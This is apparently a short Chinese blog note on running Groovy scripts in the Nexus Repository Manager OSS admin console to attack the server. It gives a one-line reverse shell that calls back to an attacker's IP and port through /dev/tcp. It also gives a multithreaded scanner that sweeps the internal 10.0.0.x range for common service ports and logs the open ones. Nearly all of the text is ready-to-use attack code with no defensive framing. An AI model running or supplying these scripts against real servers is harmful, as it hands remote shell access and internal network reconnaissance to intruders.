Nexus Repository Manager OSS 后台脚本执行

in 随手笔记 with 0 comment

描述:

在进入Nexus Oss后台后,可以在 设置 - Tasks 中执行groovy脚本。

不会让任务挂起的弹shell脚本:

['/bin/bash','-c','/bin/bash -i >& /dev/tcp/IP/PORT 0>&1'].execute()

扫描端口脚本,可以输出到Logging - Log Viewer:

import java.util.concurrent.ExecutorService
import java.util.concurrent.Executors
import java.util.concurrent.Callable
import java.util.concurrent.Executors
import java.util.concurrent.TimeUnit
import java.util.concurrent.Future

def ips = "10.0.0."
def ports = [22,80,8080,8081,8888,6379,11211,3306,1433,81,3389]
def threadNum = 15
def scanPort = {
    ip,port -> 

     def scanip = ips+ip
     try {

            Socket socket = new Socket()
            socket.connect(new InetSocketAddress(scanip, port), 2000)
            if (socket.isConnected()){
                //println(scanip+" "+ port+ " open")
                log.info(ips+ip+" "+port+" open")
            }
            socket.close()
        } catch (Exception e) {
            //log.info(scanip+":"+port+" -> "+e)
        }
}
log.info("----------- scan -------------")
def threadPool = Executors.newFixedThreadPool(threadNum)
 try {
  List<Future> futures = (ports).collect{
   port->List<Future> futures = (0..255).collect{
       ipnum->threadPool.submit({->scanPort ipnum,port} as Callable);
     }
       futures.each{it.get()}
    }

}finally {
  threadPool.shutdown()
}
log.info("-----------  end-------------")

后台管理界面样式图

Nexus 后台界面

Responses

captcha |